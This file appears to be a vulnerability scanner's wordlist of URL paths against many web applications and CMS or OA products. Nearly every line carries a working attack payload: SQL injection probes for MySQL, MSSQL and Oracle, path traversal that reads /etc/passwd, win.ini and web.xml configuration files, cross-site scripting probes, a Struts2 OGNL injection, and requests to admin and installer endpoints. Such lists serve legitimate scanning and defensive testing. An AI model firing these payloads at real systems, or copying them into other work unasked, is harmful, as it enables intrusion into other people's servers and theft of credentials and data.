/indexGetDatags.do?depNO=1'%20AND%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(58)%7C%7CCHR(99)%7C%7CCHR(102)%7C%7CCHR(114)%7C%7CCHR(101)%7C%7CCHR(101)%7C%7CCHR(114)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(106)%7C%7CCHR(120)%7C%7CCHR(58)%7C%7CCHR(62)))%20FROM%20DUAL)%20AND%20'1122'='1122
/index_archives.php?search_keyword=%df'/*!50000and*/%20(/*!50000select*/%201%20/*!50000from*/%20%20(/*!50000select*/%20count(*),concat((/*!50000select*/%20concat(0x3a,0x6366726565723A693A7765627363616E,0x3a)%20/*!50000from*/%20school_user%20limit%200,1),floor(rand(0)*2))x%20/*!50000from*/%20%20information_schema.tables%20group%20by%20x)a)%23&search_type=0&actiontype=0
/index_page/geren_list_page.aspx?server=1&refid=1'%20AND%201=CHAR(106)%2bCHAR(60)%20--
/indexsearch/filter.jsp?tableId=1%20AND%202047=CONVERT(INT,(SELECT%20CHAR(106)%2bCHAR(117)%2bCHAR(115)%2bCHAR(116)%2bCHAR(95)%2bCHAR(116)%2bCHAR(101)%2bCHAR(115)%2bCHAR(116)))%20--
/indivgroup_dispbbs.php?groupid=1&id=2&page=1&groupboardid=-1%20and%20(select%201%20from%20(select%20count(*),concat(md5(1122),floor(rand(0)*2))x%20from%20information_schema.tables%20group%20by%20x)a);%20--
/info.php
/info.php?fid=1&tblprefix=cms_msession%20and%201=reer%20--
/infoDisplayAction.do?method=listDeptInformationInFolderStyle&pageURL=/application/oa/information/view/buu_list.jsp&interval=5&departmentId=1'%20AND%209935=UTL_INADDR.GET_HOST_ADDRESS(CHR(113)%7C%7CCHR(112)%7C%7CCHR(102)%7C%7CCHR(58)%7C%7CCHR(113)%7C%7C(SELECT%20(CASE%20WHEN%20(9935=9935)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(117)%7C%7CCHR(115)%7C%7CCHR(115)%7C%7CCHR(113))%20AND%20'keyi'='keyi&filters=
/info_send_sign/sign.jsp?TID=1'%20UNION%20ALL%20SELECT%20NULL,NULL,NULL,NULL,NULL,CONCAT(0x7161756c71,0x4876764d4b4b43744171,0x7166666571),NULL,NULL%23
/infolist.aspx?ClassId=5)%20and%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20AND%20(1=1
/information/OA_Condition.asp?class=1&subclass=(CONVERT(INT,(SELECT%20CHAR(119)%2bCHAR(101)%2bCHAR(98)%2bCHAR(115)%2bCHAR(99)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(105)%2bCHAR(59)%2bCHAR(102)%2bCHAR(105)%2bCHAR(110)%2bCHAR(100))))---
/information/OA_PingLun.asp?PLType=1&POAID=54'%20and+1=char(106)%20--
/information/oa_infordislist.asp?class=1%20UNION%20ALL%20SELECT%20NULL,NULL,NULL,NULL,NULL,NULL,char(119)%2bchar(101)%2bchar(98)%2bchar(115)%2bchar(99)%2bchar(97)%2bchar(110)%2bchar(58)%2bchar(105)%2bchar(59)%2bchar(102)%2bchar(105)%2bchar(110)%2bchar(100),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL--
/install.log
/install.php
/install/
/install/index.php
/install/index.php.bak?insLockfile=1
/install/index.php?_m=frontpage&_a=check
/install/index.php?insLockfile=1
/install/index.php?step=1&insLockfile=1
/install/install.php.lock?step=2
/install/install.php?action=setup&dbhost=0.0.0.0&port=3306&dbname=webscan&dbuser=rerejj&dbpassword=nEwPa$$Wr0d&tableprefix=shop_&guid=1
/install/step4.aspx
/install/svinfo.php
/installation/install.php
/interface/auth.php?&PASSWORD=1&USER_ID=%df'%20and%20(select%201%20from%20(select%20count(*),concat((select%20concat(0x3a,md5(1122),0x3a)%20from%20user%20limit%201),floor(rand(0)*2))x%20from%20%20information_schema.tables%20group%20by%20x)a)%23
/interface/ugo.php?OA_USER=aa%2527%20and%201=(select%201%20from(select%20count(*),concat(0x7c,0x484B3A693A31393937,0x7c,floor(rand(0)*2))x%20from%20information_schema.tables%20group%20by%20x%20limit%200,1)a)%20and%20%25271%2527=%25271
/intoSpDept.do?bmid=1122'%20AND%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(58)%7C%7CCHR(99)%7C%7CCHR(102)%7C%7CCHR(114)%7C%7CCHR(101)%7C%7CCHR(101)%7C%7CCHR(114)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(106)%7C%7CCHR(120)%7C%7CCHR(58)%7C%7CCHR(62)))%20FROM%20DUAL)%20AND%20'FrOd'='FrOd
/invest/full_success/a20141200142%20or%20updatexml(1,concat(0x7e,(md5(0x4124))),0)%20--%20-.html
/invoker/EJBInvokerServlet/
/invoker/JMXInvokerServlet/
/ippool.php/login.php/login.php/login.php/login.php/login.php/login.php/login.php?name=-1%27%20UNION%20SELECT%201,2,3,4,md5(0x045154),6,7%23
/ippool_edit.php/login.php/login.php/login.php/login.php/login.php?ID=-1%27%20UNION%20SELECT%201,2,3,md5(0x045154),5,6,7%23
/ismservice/jsp/billQueryPage.jsp?entercode=3%22%3C/script%3E%3Cscript%3Eprompt(42873);%3C/script%3E//
/ispirit/check_secure_key.php?USERNAME=%df'and%20(select%201%20from%20(select%20count(*),concat((select%20concat(0x3a,md5(1122),0x3a)%20from%20user%20limit%201),floor(rand(0)*2))x%20from%20%20information_schema.tables%20group%20by%20x)a)%23
/ispirit/go.php?LOGIN_UID=%df'and%20(select%201%20from%20(select%20count(*),concat((select%20concat(0x3a,md5(1122),0x3a)%20from%20user%20limit%201),floor(rand(0)*2))x%20from%20%20information_schema.tables%20group%20by%20x)a)%23
/ispirit/logincheck.php?USEING_KEY=2&USERNAME=abc%df'and%20(select%201%20from%20(select%20count(*),concat((select%20concat(0x3a,md5(1122),0x3a)%20from%20user%20limit%201),floor(rand(0)*2))x%20from%20%20information_schema.tables%20group%20by%20x)a)%23
/item.php?act=search&keyword=%d5'%20and(select%201%20from(select%20count(*),concat((select%20(select%20(SELECT%20distinct%20concat(0x7e,0x27,char(99,102,114,101,101,114),0x27,0x7e)%20FROM%20information_schema.schemata%20LIMIT%200,1))%20from%20information_schema.tables%20limit%200,1),floor(rand(0)*2))x%20from%20information_schema.tables%20group%20by%20x)a)%20and%201=1%23&searchsort=subject&catid=0&ordersort=addtime&ordertype=asc&searchsubmit=yes
/item/?c-5,key-1'.html
/jact/workflow/design/index.jsp?flowcode=a'%20UNION%20ALL%20SELECT%20CHR(106)%7C%7CCHR(106)%7C%7CCHR(106)%7C%7CCHR(106)%7C%7CCHR(58)%7C%7CCHR(107)%7C%7CCHR(109)%7C%7CCHR(108),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL%20FROM%20DUAL%20--
/jcms/interface/ldap/ldapconf.xml
/jcms/interface/user/out_userinfo.jsp?xmlinfo=%3Cmain%3E%3Cstatus%3EQ%3C/status%3E%3C/main%3E
/jcms/jcms_files/jcms1/web1/site/module/messagebook/opr_readfile.jsp?filename=opr_readfile.jsp
/jcms/jcms_files/jcms1/web2/site/module/comment/opr_readfile.jsp?filename=opr_readfile.jsp
/jcms/m_1_9/column/getgroupuser.jsp?jgid=1'%20UNION%20ALL%20SELECT%20NULL,CHAR(119)%2bCHAR(101)%2bCHAR(98)%2bCHAR(115)%2bCHAR(99)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(105)%2bCHAR(59)%2bCHAR(102)%2bCHAR(105)%2bCHAR(110)%2bCHAR(100)%20--&spell=2&webid=3&userid=4
/jcms/m_5_1/attach_dwn.jsp?filename=passwd&fpath=/etc/passwd
/jcms/m_5_5/m_5_5_1/objectbox/selectx_search.jsp?spell=1%25%27%20union%20all%20select%20null%2Cchr%28119%29%7C%7Cchr%28101%29%7C%7Cchr%2898%29%7C%7Cchr%28115%29%7C%7Cchr%2899%29%7C%7Cchr%2897%29%7C%7Cchr%28110%29%7C%7Cchr%2858%29%7C%7Cchr%28105%29%7C%7Cchr%2858%29%7C%7Cchr%28102%29%7C%7Cchr%28105%29%7C%7Cchr%28110%29%7C%7Cchr%28100%29%20from%20dual%20--
/jcms/m_5_6/ajax_printcol.jsp?cataid=1)%20UNION%20ALL%20SELECT%20CHAR(106)%2bCHAR(117)%2bCHAR(115)%2bCHAR(116)%2bCHAR(95)%2bCHAR(116)%2bCHAR(101)%2bCHAR(115)%2bCHAR(116)%20--
/jcms/m_5_9/downfile.jsp?filename=/etc/passwd&savename=webscan.txt
/jcms/m_5_e/init/sitesearch/opr_classajax.jsp?classid=1%20union%20all%20select%2012,chr(119)%7C%7Cchr(101)%7C%7Cchr(98)%7C%7Cchr(115)%7C%7Cchr(99)%7C%7Cchr(97)%7C%7Cchr(110)%7C%7Cchr(58)%7C%7Cchr(105)%7C%7Cchr(58)%7C%7Cchr(102)%7C%7Cchr(105)%7C%7Cchr(110)%7C%7Cchr(100)%20from%20dual%20--
/jcms/oawindow/helpshow.jsp?message=%3Cscript%3Ealert(String.fromCharCode(52,%2050,%2056,%2055,%2051));%3C/script%3E
/jcms/setup/publishadmin.jsp
/jcms/workflow/design/opr_model_class.jsp?fn_billstatus=E&vc_id=1'%20UNION%20ALL%20SELECT%20NULL,CHAR(119)%2bCHAR(101)%2bCHAR(98)%2bCHAR(115)%2bCHAR(99)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(105)%2bCHAR(59)%2bCHAR(102)%2bCHAR(105)%2bCHAR(110)%2bCHAR(100),NULL,NULL,NULL%20--
/jcms/workflow/design/readxml.jsp?flowcode=../../../WEB-INF/config/dbconfig
/jcms/workflow/sys/que_dictionary.jsp?que_keywords=1'%20and%20'1'='1%20
/jdwz/newsAction.do?flag=flag&NewsId=-12'%20union%20all%20select%20CHAR%2884%29%2bCHAR%2897%29%2bCHAR%28105%29%2bCHAR%2887%29%2bCHAR%2897%29%2bCHAR%28110%29%2bCHAR%2858%29%2bCHAR%28103%29%2bCHAR%28111%29%2bCHAR%2858%29%2bCHAR%28104%29%2bCHAR%28111%29%2bCHAR%28109%29%2bCHAR%28101%29,12,12,12,12,12,12,12,12--
/jdwz/qtpage/findAllPoint.jsp?dtcxlb=vcsfjg&point_name=1%27%20UNION%20ALL%20SELECT%20NULL%2CNULL%2CCHAR%2884%29%2bCHAR%2897%29%2bCHAR%28105%29%2bCHAR%2887%29%2bCHAR%2897%29%2bCHAR%28110%29%2bCHAR%2858%29%2bCHAR%28103%29%2bCHAR%28111%29%2bCHAR%2858%29%2bCHAR%28104%29%2bCHAR%28111%29%2bCHAR%28109%29%2bCHAR%28101%29%2CNULL--%20&vcsfjg=all
/jiaowu/jwgl/jxjh/jxjha.asp
/jiaowu/public/download.asp?filename=../jwjs/conn/connstring.asp.
/jis/front/sdgs/updateuser.jsp
/jis/interface/offer.jsp?flag=user
/jis/manage/databak/showlog.jsp?path=../showlog.jsp
/jis/manage/role/opr_approleinfo_user2.jsp?c_id=1'%20UNION%20ALL%20SELECT%20NULL,CHAR(101)%2bCHAR(102)%2bCHAR(58)%2bCHAR(104)%2bCHAR(103)%2bCHAR(58)%2bCHAR(105),NULL,NULL--%20
/jiuyeIndex.do?method=showPic&zzp=../../../../../../../../../../etc/passwd
/jmx-console/
/job/job.php?lang=cn&id=2&settings[met_column]=met_admin_table%20where%201=2--%201
/job/msearch-trunk/lastSuccessfulBuild/artifact/?pattern=C:/Windows/system.ini
/journal_guide?inital=T&marc_type=1%20AND%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(58)%7C%7CCHR(119)%7C%7CCHR(101)%7C%7CCHR(98)%7C%7CCHR(115)%7C%7CCHR(99)%7C%7CCHR(97)%7C%7CCHR(110)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(102)%7C%7CCHR(105)%7C%7CCHR(110)%7C%7CCHR(100)))%20FROM%20DUAL)&subtag=&tag=
/jphoto/objectbox/selectx_search.jsp?spell=1%25%27%20UNION%20SELECT%20CHR%28106%29%7C%7CCHR%28106%29%7C%7CCHR%28106%29%7C%7CCHR%2858%29%7C%7CCHR%2899%29%7C%7CCHR%2899%29%2Cnull%20FROM%20DUAL%20--
/js.php?jssort=shop&sort=1&num=2&panels=a'+and/**/1=2/**/union%20select+1,sha1('360webscan'),3,4,5%23
/js.php?sort=1&jssort=shop&where=%201=2%20/**/union/**/select/**/1,adminname,password,4,5/**/from/**/modoer_admin%23
/js/calendar.php?lang=../js
/js/mood/xinqing.aspx?action=mood&classid=download&id=12'/**/and/**/1=char(106)--&typee=mood3&m=2
/jsearch/admin/opr_forcechangepwd.jsp
/jsearch/main/index/down.jsp?pathfile=./&filename=WEB-INF/ini/merpserver.ini
/jsearch/viewsnap.jsp?snapname=/../../../../../../../../../../../../../etc/passwd
/jserr.php?jsstr=%3Cimg%20src=@%20onerror=alert(42873)%20/%3E
/jsp-examples/
/jsp/user/loginAction.do
/jsp/util/file_download.jsp?filePath=../../../../../../../etc/passwd
/jsp/util/file_download.jsp?filePath=c:%5Cwindows%5Cwin.ini%00.xml
/jwgl/jxjh/jxjha.asp
/jy/jiuyeIndex.do?method=showPic&zzp=../../../../../../../../../../etc/passwd
/kbase_list.aspx?kcatid=1%20UNION%20SELECT%201,2,char(106)%2bchar(106),4,5,6,7,8%20from%20syscolumns--
/kc_view.php?id=-1%20UNION%20ALL%20SELECT%20NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x5c,md5(1122),0x5c),NULL#
/kdgs/biz/portal/govservice/deptServiceList.action?catalogName='%2b+convert(int,(char(106)%2bchar(58)))+%2b'&dc=12&__type=undefined
/kecheng.php?id=-1%20UNION%20ALL%20SELECT%20NULL,CONCAT(0x5c,md5(1122),0x5c),NULL,NULL#%20
/kecheng_view.php?id=-1%20UNION%20ALL%20SELECT%20NULL,CONCAT(0x5c,md5(1122),0x5c),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL#
/kq/options/kq_duration_tree.jsp?params=union%09select%09table_name%09from%09information_schema.tables
/lates/index.html?username=123%27%2f%2a%2a%2fand%2f%2a%2a%2f%28seleselectct%2f%2a%2a%2f1%2f%2a%2a%2ffrom%2f%2a%2a%2f%28selselectect%2f%2a%2a%2fcount%28%2a%29%2Cconcat%280x7c%2C0x7765627363616E3A693A66696E64%2C0x7c%2Cfloor%28rand%280%29%2a2%29%29x%2f%2a%2a%2ffrom%2f%2a%2a%2finformation_schema.tables%2f%2a%2a%2fgroup%2f%2a%2a%2fby%2f%2a%2a%2fx%29a%29%23
/ldhyhd.do?theAction=edit_bzOne&id=1'%20UNION%20ALL%20SELECT%20NULL,CHR(113)%7C%7CCHR(120)%7C%7CCHR(105)%7C%7CCHR(113)%7C%7CCHR(113)%7C%7CCHR(115)%7C%7CCHR(78)%7C%7CCHR(65)%7C%7CCHR(108)%7C%7CCHR(70)%7C%7CCHR(71)%7C%7CCHR(103)%7C%7CCHR(98)%7C%7CCHR(120)%7C%7CCHR(75)%7C%7CCHR(113)%7C%7CCHR(114)%7C%7CCHR(109)%7C%7CCHR(108)%7C%7CCHR(113),NULL,NULL,NULL,NULL,NULL%20FROM%20DUAL--
/letter/letter_detail.aspx?id=8'%20%20and+1=char(106)%2bchar(106)%20--
/level/15/exec/-/show/running-config/CR
/level3.jsp?tablename=7&infoid=-1'%20UNION%20ALL%20SELECT%20CHAR%28119%29%2bCHAR%28101%29%2bCHAR%2898%29%2bCHAR%28115%29%2bCHAR%2899%29%2bCHAR%2897%29%2bCHAR%28110%29%2bCHAR%2858%29%2bCHAR%28105%29%2bCHAR%2859%29%2bCHAR%28102%29%2bCHAR%28105%29%2bCHAR%28110%29%2bCHAR%28100%29--
/link.php?act=go&url=webscan.cn'
/linklist.asp?TlinkID=26'/**/and/**/1=char(106)--
/list.php?Fid=1-_pre-qb_fenlei_sort%20A%20where%201%20and%20(select%201%20from%20%20(select%20count(*),concat((select%20concat(0x3a,md5(1122),0x3a)%20from%20qb_members%20limit%200,1),floor(rand(0)*2))x%20from%20%20information_schema.tables%20group%20by%20x)a)%23
/listdevchannal.php?iChan=1&devid=-1%20UNION%20SELECT%201%2Cconcat%28md5%280x4515421%29%2C0x7c%2Cdatabase%28%29%2C0x7c%2Cuser%28%29%29%2C3%2C4%2C5%2C6%2C7%2C8
/livefiles/pages/inner/userlist.aspx?ModuleType=Friends&RelatedUserType=Friends&UserModuleClientID=ctl00_ctl00_TemplateHolder_ContentHolder_ctl06&userName=1122'%20and%201=char(106)%20--
/lkoa6/dzyj/LoadNextNode.ashx?id=1%27%20and%20@@version%3E0--&value=1&selectedUserIds=1&nodeModel=SYS
/lm/front/api/opr_datacall.jsp?fn_billstatus=E&vc_id=-12'%20UNION%20ALL%20SELECT%20NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,char(119)%2bchar(101)%2bchar(98)%2bchar(115)%2bchar(99)%2bchar(97)%2bchar(110)%2bchar(58)%2bchar(105)%2bchar(59)%2bchar(102)%2bchar(105)%2bchar(110)%2bchar(100),NULL,NULL,NULL,NULL,NULL--
/lm/front/findpsw.jsp?editpagename=&groupid=&sysid=../../../../../../../../../../etc/passwd%00.jpg
/lm/front/mailhotlist.jsp?editpagename=../..//../..//../..//../..//../..//../..//../..//../..//etc/passwd&sysid=001
/lm/front/mailpublist.jsp?editpagename=/../../../../../../../../../../../../../etc/passwd%00.ftl
/lm/front/mailwrite_over.jsp?editpagename=/../../../../../../../../../../../../../etc/passwd%00.ftl
/lm/front/noontimelist.jsp?flag=a&start=1&end=2&sysid=2'%20UNION%20ALL%20SELECT%20NULL,NULL,NULL,NULL,chr(119)%7C%7Cchr(101)%7C%7Cchr(98)%7C%7Cchr(115)%7C%7Cchr(99)%7C%7Cchr(97)%7C%7Cchr(110)%7C%7Cchr(58)%7C%7Cchr(105)%7C%7Cchr(58)%7C%7Cchr(102)%7C%7Cchr(105)%7C%7Cchr(110)%7C%7Cchr(100),NULL%20FROM%20DUAL%20--&groupid=4
/lm/front/reg.jsp?sysid=../reg.jsp%00.jpg
/lm/front/reg_2.jsp?sysid=/../../WEB-INF/web.xml%00%23
/lm/manage/opr_mailinfo_getsecproperty.jsp?vc_bgmailproperty=1'%20UNION%20ALL%20SELECT%20NULL,NULL,CONCAT(0x7e,0x7765627363616E3A693A66696E64,0x7e)%23
/lm/manage/opr_mailinfo_getsecproperty.jsp?vc_bgmailproperty=1'%20UNION%20ALL%20SELECT%20NULL,NULL,chr(119)%7C%7Cchr(101)%7C%7Cchr(98)%7C%7Cchr(115)%7C%7Cchr(99)%7C%7Cchr(97)%7C%7Cchr(110)%7C%7Cchr(58)%7C%7Cchr(105)%7C%7Cchr(58)%7C%7Cchr(102)%7C%7Cchr(105)%7C%7Cchr(110)%7C%7Cchr(100)%20FROM%20DUAL%20--
/lm/manage/opr_setappraisal.jsp?fn_billstatus=E&vc_setapprid=-2087%20UNION%20ALL%20SELECT%20CHR(119)%7C%7CCHR(101)%7C%7CCHR(98)%7C%7CCHR(115)%7C%7CCHR(99)%7C%7CCHR(97)%7C%7CCHR(110)%7C%7CCHR(58)%7C%7CCHR(105)%7C%7CCHR(58)%7C%7CCHR(102)%7C%7CCHR(105)%7C%7CCHR(110)%7C%7CCHR(100),CHR(119)%7C%7CCHR(101)%7C%7CCHR(98)%7C%7CCHR(115)%7C%7CCHR(99)%7C%7CCHR(97)%7C%7CCHR(110)%7C%7CCHR(58)%7C%7CCHR(105)%7C%7CCHR(58)%7C%7CCHR(102)%7C%7CCHR(105)%7C%7CCHR(110)%7C%7CCHR(100),NULL,NULL,NULL%20FROM%20DUAL--
/lm/objectbox/selectx_groupuserlist.jsp?vc_parid=-42873%27+or+%271%27=%271
/lm/sys/opr_bulletin_show.jsp?vc_id=1'%20UNION%20ALL%20SELECT%20NULL,NULL,chr(119)%7C%7Cchr(101)%7C%7Cchr(98)%7C%7Cchr(115)%7C%7Cchr(99)%7C%7Cchr(97)%7C%7Cchr(110)%7C%7Cchr(58)%7C%7Cchr(105)%7C%7Cchr(58)%7C%7Cchr(102)%7C%7Cchr(105)%7C%7Cchr(110)%7C%7Cchr(100),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL%20FROM%20DUAL%20--
/lm/sys/opr_secsetorder.jsp?parentid=1%20UNION%20ALL%20SELECT%20NULL,NULL,CONCAT(0x7e,md5(1122),0x7e),NULL,NULL,NULL,NULL
/lm/sys/opr_secsetorder.jsp?parentid=1%20UNION%20ALL%20SELECT%20NULL,NULL,chr(119)%7C%7Cchr(101)%7C%7Cchr(98)%7C%7Cchr(115)%7C%7Cchr(99)%7C%7Cchr(97)%7C%7Cchr(110)%7C%7Cchr(58)%7C%7Cchr(105)%7C%7Cchr(58)%7C%7Cchr(102)%7C%7Cchr(105)%7C%7Cchr(110)%7C%7Cchr(100),NULL,NULL,NULL,NULL%23
/log.nsf
/log/
/logfiles/
/login.action
/login.action?class.classLoader.jarPath=(%23context[%22xwork.MethodAccessor.denyMethodExecution%22]=+new+java.lang.Boolean(false),%2b%23_memberAccess[%22allowStaticMethodAccess%22]=true,+%23webscan=%40org.apache.struts2.ServletActionContext%40getResponse().getWriter(),%23webscan.println(@java.lang.System@getProperty(%22java.vendor.url%22)%2b%22d4f800167a6e317f35454ed9024eb310%22%2b%22http%3A%2f%2fwebscan.360.cn%22),%23webscan.close())(aa)&x[(class.classLoader.jarPath)('aa')]
/login.asp
/login.aspx
/login.aspx?test=TestSystem&password=1122&oid=2%20and%202=(convert(int,char(106)))&uid=1
/login.htm
/login.html
/login.jsp
/login.php
/login.php?LOGIN_USER_INCLUDE=/etc/passwd
/login.php?Lang=../../../../../../../../../../etc/passwd%00.jpg
/login.php?SSL_CLIENT_S_DN_Email=%27+or+1=%28select+1+from+%28select+count%28*%29,concat%28%28SELECT+md5%281122%29%29,floor%28rand%280%29*2%29%29x+from+information_schema.tables+group+by+x%29a%29%23/wapc/5000_0005_003
/login/Log.aspx?loginname=/**/'/**/and/**/char(106)%3E0/**/--
/login/TransactList.aspx?ItemName='/**/and/**/1=char(106)/**/--
/login/proexamineview.aspx?ActivityInstanceId='/**/and/**/user/**/%3E0/**/--
/login/publicpage.aspx?infotype=InfoZWGK_zwgk'/**/and/**/char(106)%3E0/**/--&dic_name=
/logincheck.php?UNAME=cfreer%df'and%20(select%201%20from%20%20(select%20count(*),concat((select%20md5(1122)%20from%20user%20limit%201),floor(rand(0)*2))x%20from%20%20information_schema.tables%20group%20by%20x)a)%23&PASSWORD=test
/logincheck.php?UNAME=reer%df'and%20(select%201%20from%20%20(select%20count(*),concat((select%20md5(1122)%20from%20user%20limit%201),floor(rand(0)*2))x%20from%20%20information_schema.tables%20group%20by%20x)a)%23&PASSWORD=test
/logincheck.php?USEING_KEY=2&USERNAME=cfreer%df'and%20(select%201%20from%20(select%20count(*),concat((select%20concat(0x3a,md5(1122),0x3a)%20from%20user%20limit%201),floor(rand(0)*2))x%20from%20%20information_schema.tables%20group%20by%20x)a)%23
/logo_curconf.php?deptname=-1'%20and%201=2%20UNION%20SELECT%201,concat(0x7c,md5(1122),0x7c),3,4,5,6,7,8,9,10,11,12%23
/logs/
/m/info/top_rating.action?clsNo=1'%20AND%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(103)%7C%7CCHR(102)%7C%7CCHR(103)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(106)%7C%7CCHR(107)%7C%7CCHR(55)))%20FROM%20DUAL)%20AND%20'at'='at
/m/mazmun.php?hid=-7929%20UNION%20ALL%20SELECT%20NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x716b707a71,0x4c55737a754262714a637768596b4d724642726e685749514c6c4b66795862426a6f636c616d644c,0x7170766b71)--%20-
/magmi/web/ajax_pluginconf.php?file=../../../../../../../../../../../etc/passwd&plugintype=utilities&pluginclass=CustomSQLUtility
/magmi/web/magmi_import_run.php?%3C/script%3E%3Cscript%3Ealert%28%27webscan%27%29;%3C/script%3E
/mail/index.asp
/mail/index.aspx
/mail/index.jsp
/mail/index.php
/mailmain?type=login&uid=sec_sj&pwd=&domain=root&style=enterprise
/main.do
/main/
/main/findgbm2.asp?sql=SELECT+char%28106%29%2Bchar%28106%29%2Bchar%28106%29+FROM+Master%2E%2ESysDatabases+ORDER+BY+Name&sqlbak=SELECT+char%28106%29%2Bchar%28106%29%2Bchar%28106%29+FROM+Master%2E%2ESysDatabases+ORDER+BY+Name%20&px=
/main/model/childcatalog/fileFind.do?fcode=00103&title=-111%25%27%20union%20all%20select%20null%2CCHAR%2884%29%2bCHAR%2897%29%2bCHAR%28105%29%2bCHAR%2887%29%2bCHAR%2897%29%2bCHAR%28110%29%2bCHAR%2858%29%2bCHAR%28103%29%2bCHAR%28111%29%2bCHAR%2858%29%2bCHAR%28104%29%2bCHAR%28111%29%2bCHAR%28109%29%2bCHAR%28101%29%2Cnull%2Cnull%2Cnull%2Cnull%2Cnull--&Submit=%CB%D1%CB%F7
/main/model/childcatalog/researchinfo_dan.jsp?researchId=-1%20union%20select%201,0x6366726565723A696A78,3%20from%20H_System_User--
/main/model/childcatalog/zxzxinfo.jsp?MailId=13%20UNION%20ALL%20SELECT%20NULL,CHAR%28119%29%2bCHAR%28101%29%2bCHAR%2898%29%2bCHAR%28115%29%2bCHAR%2899%29%2bCHAR%2897%29%2bCHAR%28110%29%2bCHAR%2858%29%2bCHAR%28105%29%2bCHAR%2859%29%2bCHAR%28102%29%2bCHAR%28105%29%2bCHAR%28110%29%2bCHAR%28100%29,NULL,NULL,NULL,NULL,NULL,NULL%20--
/main/user/login.asp
/main?xwl=13O1AVUENBSF&dir=@../../WEB-INF/web.xml
/mainpage/msglog.aspx?user=-1'%20and+1=char(106)--
/manage/
/manage/Login.asp
/manage/Login.aspx
/manage/Login.jsp
/manage/Login.php
/manage/Shop/profile/LmUserManage.aspx
/manage/WAP/Other/AddDalen.aspx?menu=add
/manage/Zone/TemplateList.aspx?OpenerText=a');%7Dalert(42873);%7B//
/manage/admin.php
/manage/index.asp
/manage/index.aspx
/manage/index.jsp
/manage/index.php
/manage/node_article_add2.asp?menu=addnewss&qikan_id=238&node_id=1%20UNION%20ALL%20SELECT%20NULL,NULL,CHR(106)%26CHR(109),NULL,NULL,NULL,NULL,NULL,NULL,NULL%20FROM%20MSysAccessObjects%16
/management/status.jsp
/manager.asp
/manager.aspx
/manager.jsp
/manager.php
/manager/
/manager/index.php
/manager/picupload.aspx
/managerNManager.action
/mapi/index.php?act=my_order_update&order_id=1&tel=13912345678&name='%3E(select/**/%201%20from/**/%20(select/**/%20count(*),concat(md5(1122),floor(rand(0)*2))x%20from/**/%20information_schema.tables%20group%20by%20x)a)%23
/mapi/index.php?requestData=eyJrZXl3b3JkIjoiJykgQU5EIChTRUxFQ1QgMSBGUk9NKFNFTEVDVCBDT1VOVCgqKSxDT05DQVQoY29uY2F0KDB4NWMsbWQ1KDB4Nzc2NTYyNzM2MzYxNmUpKSxGTE9PUihSQU5EKDApKjIpKVggRlJPTSBpbmZvcm1hdGlvbl9zY2hlbWEudGFibGVzIEdST1VQIEJZIFgpYSkjIiwiYWN0IjoibmVhcmJ5Z29vZHNlcyJ9
/mas/backlog/searchfile.jsp?skey=poc'%20AND%201=CHAR(106)%20--
/mas/component/group.jsp?name=poc'%20AND%201=CHAR(106)%20--
/mas/schedule.jsp?type=group&SGPID=1'+UNION+ALL+SELECT+1,CHAR(98)%2bCHAR(121)%2bCHAR(101)%2bCHAR(58)%2bCHAR(121),1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1--
/mas/schedule/detailschedule.jsp?bid=poc'%20AND%201=CHAR(106)%20--
/mas/schedule/newschedule.jsp?done=save&treenode=poc'%20AND%201=CHAR(106)%20--
/mas/schedule/schedulelist.jsp?key=poc'%20AND%201=CHAR(106)%20--
/master/
/mdydecoderaction.php?DecoderID=(SELECT+1+and+ROW(1,1)%3E(SELECT+COUNT(*),CONCAT(md5(0x7765627363616e),0x3a,FLOOR(RAND(0)*2))x+FROM+INFORMATION_SCHEMA.COLLATIONS+GROUP+BY+x)a)
/mdydeviceaction.php?DeviceID=(SELECT+1+and+ROW(1,1)%3E(SELECT+COUNT(*),CONCAT(md5(0x7765627363616e),0x3a,FLOOR(RAND(0)*2))x+FROM+INFORMATION_SCHEMA.COLLATIONS+GROUP+BY+x)a)&=3&Page=3
/media/magmi/magmi/web/ajax_pluginconf.php?file=../../../../../../../../../../../etc/passwd&plugintype=utilities&pluginclass=CustomSQLUtility
